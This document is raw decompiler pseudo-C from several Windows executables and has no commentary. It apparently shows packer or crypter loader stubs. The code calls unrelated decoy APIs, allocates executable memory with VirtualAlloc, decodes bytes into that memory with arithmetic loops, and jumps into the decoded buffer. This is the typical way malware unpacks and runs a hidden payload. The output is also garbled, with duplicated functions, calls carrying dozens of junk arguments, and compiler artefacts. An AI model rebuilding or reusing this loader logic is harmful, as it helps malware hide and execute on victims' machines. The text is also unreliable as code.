// address: 0x401054 void _start(__size32 param1) { int edx; // r26 GetModuleHandleA(); GetCommandLineA(); GetModuleHandleA(); proc1(0x15000); edx = *(param1 + 176); if (edx - 1 == 0) { *(__size32*)(param1 + 184) = *(param1 + 184) + ADDFLAGS32(176, 8, 184) + 10; } *(__size32*)(param1 + 176) = edx - 1; return; }
// address: 0x40104a void _start() { int edx; // r26 __size32 local0; // m[esp] GetModuleHandleA(); GetCommandLineA(); GetModuleHandleA(); proc1(0x15000); edx = *(local0 + 176); if (edx - 1 == 0) { *(__size32*)(local0 + 184) = *(local0 + 184) + ADDFLAGS32(176, 8, 184) + 10; } *(__size32*)(local0 + 176) = edx - 1; return; }
// address: 0x401066 void _start(__size32 param1) { __size32 eax; // r24 int edx; // r26 GetModuleHandleA(); GetCommandLineA(); eax = GetModuleHandleA(); proc1(eax); edx = *(param1 + 168); if (edx - 1 == 0) { *(__size32*)(param1 + 184) = *(param1 + 184) + ADDFLAGS32(168, 16, 184) + 10; } *(__size32*)(param1 + 168) = edx - 1; return; }
// address: 0x40d528 void _start(__size32 param1, __size32 param2) { __size32 eax; // r24 __size32 ebx; // r27 __size32 ecx; // r25 __size32 edi; // r31 __size32 edx; // r26 int edx_1; // r26{235} __size32 *esi; // r30 __size32 *esi_1; // r30{247} int esp; // r28 eax = *0; *(__size32*)0 = (esp - 20); ebx = param2 + param1; ebx = ebx - eax; edx = 0x551f4; do { edx_1 = edx; GetTickCount(); eax = GetLastError(); /* Warning: also results in ecx */ esi = 0x41702c; do { esi_1 = esi; *(__size32*)esi_1 = *esi_1 - 999; if (999 <= ecx) { } *(__size32*)esi_1 += 0x1a9a; esi = esi_1 + 4; ecx = eax - ecx - 0x244549; edi = 0x4173e8; eax = 3; } while (esi_1 + 4 != 0x4173e8); edx = edx_1 - 1; do { edi += edi; } while (global10 != *0x41706c); } while (edx_1 - 1 != 0); GetTickCount(); eax = GetLastError(); if ( !ADDFLAGS32(eax, 0x13bca8, eax + 0x13bca8)) { } return; }
// address: 0x1310109b void _start(__size32 param1, __size32 param2, short param3, short param4, char param5, unsigned char param6) { char al; // r8 short ax; // r0 unsigned char dl; // r10 short dx; // r2 __size32 eax; // r24 void *eax_1; // r24{29} __size32 eax_2; // r24{175} unsigned char *eax_3; // r24{450} unsigned char *eax_4; // r24{342} __size32 ebp; // r29 __size32 ebx; // r27 __size32 ebx_1; // r27{231} int ebx_2; // r27{424} int ecx; // r25 unsigned int ecx_2; // r25{101} int edx; // r26 void *edx_1; // r26 __size32 esi; // r30 int esp; // r28 union { void * x89; unsigned int x90; } local10; // m[esp - 820] __size32 local11; // m[esp - 816] __size32 *local12; // m[esp - 812] __size8 *local14; // m[esp - 804] __size32 local15; // m[esp - 28] int local16; // m[esp - 0x2388] unsigned int local17; // m[esp - 828] void *local18; // m[esp - 0x2390] union { void * x143; int x144; } local19; // m[esp - 36] int local20; // m[esp - 804] void *local21; // m[esp - 808] int local22; // m[esp - 812] unsigned char *local23; // m[esp - 12] __size32 local24; // m[esp - 0x2384] void *local25; // m[esp - 612] unsigned int local26; // m[esp - 8] int local27; // m[esp - 24] unsigned int local71; // m[esp - 8]{602} unsigned char *local74; // eax_4{570} union { void * x145; unsigned int x146; } local75; // local14{608} union { void * x147; unsigned int x148; } local76; // local12{610} unsigned char *local77; // eax_3{585} union { int x97; void * x98; } local78; // edx{587} unsigned int local79; // local26{618} __size32 *local9; // m[esp - 824] AddAccessDeniedAce(); eax_1 = SafeArrayGetUBound(); BuildExplicitAccessWithNameA(); BaseInitAppcompatCacheSupport(); eax = *(eax_1 - 0x6cf5e057); ax = proc1(&eax, esp - 572, 4, ¶m2, 0, &24, param3, param4, param5, param6); /* Warning: also results in dx, al */ SetErrorMode(); BaseInitAppcompatCacheSupport(); ecx_2 = *(eax_1 - 0x6cf5e053); ax = proc1(&ecx_2, (esp - 604), 4, ¶m2, 4, &24, ax, dx, al, (unsigned char) esp - 604); /* Warning: also results in dx, al, dl */ ecx = *(eax_1 - 0x6cf5e04f); BaseDumpAppcompatCache(); ax = proc1(&ecx, esp - 28, 4, ¶m2, 8, &24, ax, dx, al, dl); /* Warning: also results in dx, al, dl */ eax_2 = GetModuleHandleA(); AdjustTokenGroups(); ControlTraceA(); BuildTrusteeWithObjectsAndNameA(); ebx_1 = *(eax_1 - 0x6cf5e04b); ax = proc1(&ebx_1, esp - 40, 4, ¶m2, 12, &24, ax, dx, al, dl); /* Warning: also results in dx, al */ local15 = ebx_1 + eax_2; ebx = *(eax_1 - 0x6cf5e047); local16 = ebx; local9 = esp - 0x2388; ax = proc1(&ebx, (esp - 0x2398), 4, ¶m2, 16, &24, ax, dx, al, (unsigned char) eax_1 - 0x6cf5e047); /* Warning: also results in dx, al */ local18 = 20; local19 = eax_1 - 0x6cf5e043; dl = (unsigned char) ecx; local20 = 64; local21 = 0x3000; esi = ecx * 8 + ecx_2 + 12; local22 = esi + eax; local11 = 0; eax_4 = VirtualAlloc(0, esi + eax, 0x3000, 64); /* Warning: also results in edx */ local74 = eax_4; local75 = local20; local76 = local22; ecx = ebx_1 + eax_2 + ecx * 8 + 12; local23 = ecx; local24 = ecx * 8 + 12; local25 = ecx * 8 + 12; local26 = 0; local27 = 0; for(;;) { eax_4 = local74; local71 = local26; local14 = local75; local12 = local76; local77 = eax_4; local78 = edx; local79 = local71; if (local25 != local16) { goto L0; } local26 = local71 + 1; local79 = local26; if (local26 == ecx) { ebx = eax_4 - ecx * 8 - 12; esi = proc1(eax_4, ebx, ecx_2, ¶m1, ecx * 8 + 12, &24, ax, dx, al, dl); /* Warning: also results in ax, dx, al, dl, edx */ (*eax_4 + 0xf50)(local18, local16, local24, pc, eax_4 + ecx_2, eax_4, eax, ecx_2, esp - 564, esp, (esp + 4), (esp + 4), 0x9c000, 0, 0xc000000, 0x10c0, 0x90000000, 272, 0xb200000, 0, 392, 0, 0, 0x4400, 0x80000000, 0x78000000, 0, 0, 0xbc0, (esp + 4), 0x10000, 0xe00000, 0, 0x800, 0, 0x28c0000, 0x900, 0x2800000, 0x4a00000, 0x2600, 0, eax_4 + 0xf50, eax_4 + 0xf50, local25, eax_4, ecx_2, eax_2 + 0x1000, eax_1 - 0x6cf5e057, eax, param1, 24, 67, 28, -75, -19, ecx * 8 + 12, esp, local19, eax_2, local15, local27, ecx, param2, local23, local71 + 1, ebp, ax, dx, al, dl, eax_4 + ecx_2, eax_4, edx, eax, esp - 4, esi, eax_4 + 0xf50, ADDFLAGS32(eax_4, ecx_2, eax_4 + ecx_2), ADDFLAGS32(eax_4, ecx_2, eax_4 + ecx_2), ADDFLAGS32(eax_4, ecx_2, eax_4 + ecx_2)); return; } ecx = *local19; ebx = esp - local18 - 28; ax = proc1(&ecx, ebx, 4, ¶m2, local18, &24, ax, dx, al, (unsigned char) esp - 28); /* Warning: also results in dx, al */ local15 = ecx + eax_2; local18 += 4; local19 += 4; ebx_2 = *local19; local16 = ebx_2; local14 = esp - 564; local21 = local18; local12 = esp - 16; local11 = 4; ebx = esp - local18 - 0x2388; local10 = ebx; local9 = esp - 0x2388; eax_3 = proc1(&ebx_2, ebx, 4, ¶m2, local18, &24, ax, dx, al, (unsigned char) esp - 0x2388); /* Warning: also results in ax, dx, al */ local77 = eax_3; edx_1 = local18 + 4; local18 += 4; local19 += 4; local25 = 0; local23 = ecx + eax_2; local78 = edx_1; L0: eax_3 = local77; edx = local78; local26 = local79; ebx = eax_4 + local27; dl = *local23; edx = edx >> 8 & 0xffffff | (dl); *(unsigned char*)ebx = dl; local23++; local27++; local25++; local24++; local74 = eax_3; local75 = local14; local76 = local12; } }
// address: 0x40bc18 void proc1(int param1) { int bl; // r11 __size32 *eax; // r24 unsigned int ebp; // r29 unsigned int ebp_1; // r29{139} int ecx; // r25 __size32 *edi; // r31 int edx; // r26 unsigned int edx_1; // r26{151} __size32 *esi; // r30 int esp; // r28 union { __size32 * x111; int x112; } esp_1; // r28{26} union { int x1; unsigned int * x2; } esp_2; // r28{138} union { int x1; unsigned int * x2; } esp_3; // r28{101} void *esp_4; // r28{126} union { int x1; unsigned int * x2; } esp_5; // r28{69} __size32 local0; // m[esp] __size32 local1; // m[esp - 8] __size32 local10; // m[esp - 12]{5} __size32 local11; // m[esp - 12]{169} __size32 local12; // m[esp - 12]{163} __size32 local13; // m[esp - 16]{7} __size32 local14; // m[esp - 16]{170} __size32 local15; // m[esp - 16]{164} unsigned int local16; // m[esp - 20]{10} unsigned int local17; // m[esp - 20]{171} unsigned int local18; // m[esp - 20]{165} __size32 local19; // m[esp]{18} __size32 local2; // m[esp - 12] __size32 local20; // m[esp]{172} __size32 local21; // m[esp]{166} int local22; // m[esp]{126} union { int x1; unsigned int * x2; } local23; // esp_2{138} __size32 local24; // local9{162} __size32 local25; // local12{163} __size32 local26; // local15{164} unsigned int local27; // local18{165} __size32 local28; // local21{166} int local29; // param1{173} __size32 local3; // m[esp - 16] union { int x1; unsigned int * x2; } local30; // esp_5{152} __size32 *local31; // local6{167} __size32 local32; // local8{168} __size32 local33; // local11{169} __size32 local34; // local14{170} unsigned int local35; // local17{171} __size32 local36; // local20{172} int local37; // bl{174} unsigned int local4; // m[esp - 20] DWORD local5; // m[esp - 4] __size32 *local6; // m[esp - 4] __size32 local7; // m[esp - 8]{3} __size32 local8; // m[esp - 8]{168} __size32 local9; // m[esp - 8]{162} local7 = 0x3000; local10 = 0x147ae; local13 = 0; eax = VirtualAlloc(0, 0x147ae, 0x3000, 64); local24 = local7; local25 = local10; local26 = local13; local27 = local16; local29 = param1; local19 = local0; ecx = 483; esp_1 = esp - 4; local6 = eax; esi = local0 + 168; edi = eax; edx = 0x5120baf9 >> 8 & 0xffffff | (eax + param1); ebp = 0; local23 = esp_1; local28 = local19; do { esp_2 = local23; ebp_1 = ebp; local9 = local24; local12 = local25; local15 = local26; local18 = local27; local21 = local28; param1 = local29; *(int*)(esp_2 - 4) = edx; *(union { void * x117; int x118; }*)(esp_2 - 8) = ecx; ecx = *(esp_2 - 4); edx = *esi; *(__size32*)edi = ecx + (unsigned char) ecx + edx; ecx = *(esp_2 - 8); edx = *(esp_2 - 4); esp_5 = esp_2; esi++; edi++; ebp = ebp_1 * 0x3f626 + 1; edx = edx / 256; tmp1 = 3 - ebp_1 * 0x3f626; local30 = esp_5; local31 = local6; local31 = local6; local32 = local9; local32 = local9; local33 = local12; local33 = local12; local34 = local15; local34 = local15; local35 = local18; local35 = local18; local36 = local21; local36 = local21; local37 = param1; local37 = param1; if (4 == ebp_1 * 0x3f626 + 1) { *(__size32*)(esp_2 - 4) = 0x5120baf9; edx = *(esp_2 - 4); esp_3 = esp_2; ebp = 0; local30 = esp_3; } L3: edx_1 = edx; esp_5 = local30; local6 = local31; local8 = local32; local11 = local33; local14 = local34; local17 = local35; local20 = local36; bl = local37; edx = edx_1 >> 8 & 0xffffff | (tmp1 + param1); ecx = ecx - 1; local23 = esp_5; local24 = local8; local25 = local11; local26 = local14; local27 = local17; local28 = local20; local29 = bl; } while (ecx - 1 != 0); eax = *esp_5; (*eax)(local17, local14, local11, local8, local6, (unsigned char) ecx - 1, tmp1 + param1, bl, eax, ecx - 1, edx_1 >> 8 & 0xffffff | (tmp1 + param1), ebp, esi, edi, ADDFLAGS32(esp_5, 4, esp_5 + 4), ADDFLAGS32(esp_5, 4, esp_5 + 4), ADDFLAGS32(esp_5, 4, esp_5 + 4)); local30 = esp_4; local31 = local5; local32 = local1; local33 = local2; local34 = local3; local35 = local4; local36 = local22; local37 = bl; tmp1 = 0; if (eax != eax) { goto L3; } return; }
// address: 0x1310e09b int main(int argc, char *argv[], char *envp[]) { __size8 al; // r8 __size16 ax; // r0 char bl; // r11 __size8 cl; // r9 __size16 cx; // r1 unsigned char dl; // r10 __size16 dx; // r2 unsigned char *eax; // r24 void *eax_1; // r24{45} __size32 eax_2; // r24{185} __size32 eax_3; // r24{486} __size32 ebp; // r29 int ebx; // r27 char *ebx_1; // r27 int ebx_2; // r27{84} __size32 ecx_1; // r25{18} unsigned int edi; // r31 char *edi_1; // r31 unsigned int edi_2; // r31{116} unsigned int edx; // r26 unsigned char *esi; // r30 int esp; // r28 void *esp_1; // r28{67} void *esp_2; // r28{309} void *esp_3; // r28{541} void *esp_4; // r28{559} __size32 local0; // m[esp - 16] unsigned int local1; // m[esp - 8] __size8 local10; // m[esp - 560] __size8 local11; // m[esp - 562] __size8 local12; // m[esp - 563] __size8 local13; // m[esp - 564] int local14; // m[esp - 572] unsigned int local15; // m[esp - 580] unsigned char *local16; // m[esp - 584] void *local17; // m[esp - 588] __size32 local18; // m[esp - 596] unsigned int local19; // m[esp - 600] unsigned char *local2; // m[esp - 12] unsigned char *local20; // m[esp - 608] void *local21; // m[esp - 612] __size32 local22; // m[esp - 780] __size32 local23; // m[esp - 784] int local24; // m[esp - 788] __size32 local25; // m[esp - 792] unsigned int local26; // m[esp - 796] unsigned int local27; // m[esp - 800] unsigned int local28; // m[esp - 804] union { void * x151; int x152; } local29; // m[esp - 576] unsigned int local3; // m[esp - 20] unsigned int local30; // m[esp - 776] int local35; // m[esp - 584] int local4; // m[esp - 24] char *local5; // m[esp - 28] unsigned int local58; // m[esp - 8]{573} __size32 local6; // m[esp - 32] void *local63; // esp_3{541} unsigned int local64; // local1{603} union { unsigned char * x149; int x150; } local65; // local16{607} union { int x143; __size32 * x144; } local7; // m[esp - 36] void *local8; // m[esp - 40] unsigned char *local9; // m[esp - 44] ecx_1 = SetErrorMode(); WmiReceiveNotificationsA(); GetStartupInfoA(); eax_1 = SafeArrayGetUBound(); local29 = eax_1 - 0x2fe67; eax = WmiSetSingleInstanceW(); /* Warning: also results in edx, esp_1 */ local63 = esp_1; if ( !(edx == 0x3ec0000 || eax - 0x7ffbfe67 != eax_1 - 0x2fe67)) { local13 = -15; local12 = 28; local10 = 117; local29 = eax_1 - 0x6cf61957; ebx_2 = *(eax_1 - 0x6cf61957); local14 = ebx_2; bl = proc1(&ebx_2, esp - 572, 4, &local0, 0, &-15, bl, ebx_2); local8 = esp; local11 = -26; edi_2 = *(eax_1 - 0x6cf61953); local19 = edi_2; bl = proc1(&edi_2, (esp - 604), 4, &local0, 4, &-15, bl, esp - 600); edi = *(eax_1 - 0x6cf6194f); local3 = edi; bl = proc1(&edi, esp - 28, 4, &local0, 8, &-15, bl, esp - 28); local30 = 0; eax_2 = GetModuleHandleA(); local6 = eax_2; local18 = eax_2 + 0x1000; eax = *(eax_1 - 0x6cf6194b); bl = proc1(&eax, esp - 40, 4, &local0, 12, &-15, bl, esp - 28); /* Warning: also results in ebx */ local5 = eax + eax_2; esi = *(eax_1 - 0x6cf61947); local16 = esi; local27 = esp - 584; ax = proc1(&esi, esp - 600, 4, &local0, 16, &-15, bl, ebx); /* Warning: also results in cx, dx, al, cl, bl */ local17 = 20; local7 = eax_1 - 0x6cf61943; local9 = edi * 8 + 12; local22 = 64; local23 = 0x3000; ebx = edi * 8 + edi_2 + 12; local24 = ebx + ebx_2; local25 = 0; eax = VirtualAlloc(0, ebx + ebx_2, 0x3000, 64); /* Warning: also results in esp_2 */ local63 = esp_2; local20 = eax; edi_1 = eax + eax_2 + edi * 8 + 12; local2 = edi_1; local15 = edi * 8 + 12; local21 = edi * 8 + 12; local1 = 0; local4 = 0; } for(;;) { esp_3 = local63; local58 = local1; local64 = local58; local65 = local16; if (local21 != local16) { goto L0; } local1 = local58 + 1; local64 = local1; if (local1 == local3) { *(union { void * x171; int x172; }*)(esp_3 - 4) = esp - 564; *(unsigned char **)(esp_3 - 8) = local9; *(union { void * x173; int x174; }*)(esp_3 - 12) = (esp - 568); *(unsigned int*)(esp_3 - 16) = local19; ecx = local20 - local9; *(int*)(esp_3 - 20) = ecx; *(unsigned char **)(esp_3 - 24) = local20; eax_3 = proc1(*(esp_3 - 24), *(esp_3 - 20), *(esp_3 - 16), *(esp_3 - 12), *(esp_3 - 8), *(esp_3 - 4), bl, esp - 568); /* Warning: also results in ax, cx, dx, al, cl, bl, edx, edi */ *(void **)(esp_3 - 4) = local8; *(union { void * x175; int x176; }*)(esp_3 - 8) = esp - 564; *(unsigned int*)(esp_3 - 12) = local19; *(int*)(esp_3 - 16) = local14; *(unsigned char **)(esp_3 - 20) = local20; esi = local20 + local19; *(void **)(esp_3 - 24) = esi; (*local20 + 0xf50)(local28, local27, local26, local25, local24, local23, local22, local30, 0x15000, 0, 0x5d000000, 0xe6000, 0x370000, 0x328000, 0, 0x6c000, 0x12c00, (esp - 660), 0, ecx_1, 0x5c000000, (esp - 544), eax, local20 + 0xf50, local20 + 0xf50, local21, local20, local19, local18, local17, local16, local15, local29, local14, local13, local12, local11, -38, local10, local9, local8, local7, local6, local5, local4, local3, local0, local2, local58 + 1, ebp, argc, argv, envp, ax, cx, dx, al, cl, (unsigned char) local58 + 1, bl, eax_3, local14, edx, local20, esp - 4, esi, edi, ADDFLAGS32(local20, local19, esi), ADDFLAGS32(local20, local19, esi), ADDFLAGS32(local20, local19, esi)); return eax; } edx = *local7; *(union { void * x159; int x160; }*)(esp_3 - 4) = esp - 564; *(void **)(esp_3 - 8) = local17; *(union { void * x161; int x162; }*)(esp_3 - 12) = esp - 16; *(__size32*)(esp_3 - 16) = 4; esi = esp - local17 - 28; *(union { unsigned char * x147; int x148; }*)(esp_3 - 20) = esi; *(union { void * x163; int x164; }*)(esp_3 - 24) = esp - 28; bl = proc1(*(esp_3 - 24), *(esp_3 - 20), *(esp_3 - 16), *(esp_3 - 12), *(esp_3 - 8), *(esp_3 - 4), bl, esp - 28); ebx_1 = edx + local6; local5 = ebx_1; local17 += 4; local7 += 4; ebx = *local7; local35 = ebx; *(union { void * x165; int x166; }*)(esp_3 - 4) = esp - 564; *(void **)(esp_3 - 8) = local17; *(union { void * x167; int x168; }*)(esp_3 - 12) = esp - 16; *(__size32*)(esp_3 - 16) = 4; edi = esp - local17 - 584; *(int*)(esp_3 - 20) = edi; *(union { void * x169; int x170; }*)(esp_3 - 24) = esp - 584; ax = proc1(*(esp_3 - 24), *(esp_3 - 20), *(esp_3 - 16), *(esp_3 - 12), *(esp_3 - 8), *(esp_3 - 4), bl, ebx); /* Warning: also results in cx, dx, al, cl, bl */ local65 = local35; local17 += 4; local7 += 4; local21 = 0; local2 = ebx_1; L0: esp_4 = esp_3; local1 = local64; local16 = local65; ebx_1 = local20 + local4; dl = *local2; *(unsigned char*)ebx_1 = dl; local2++; local4++; local21++; local15++; local63 = esp_4; local63 = esp_4; } }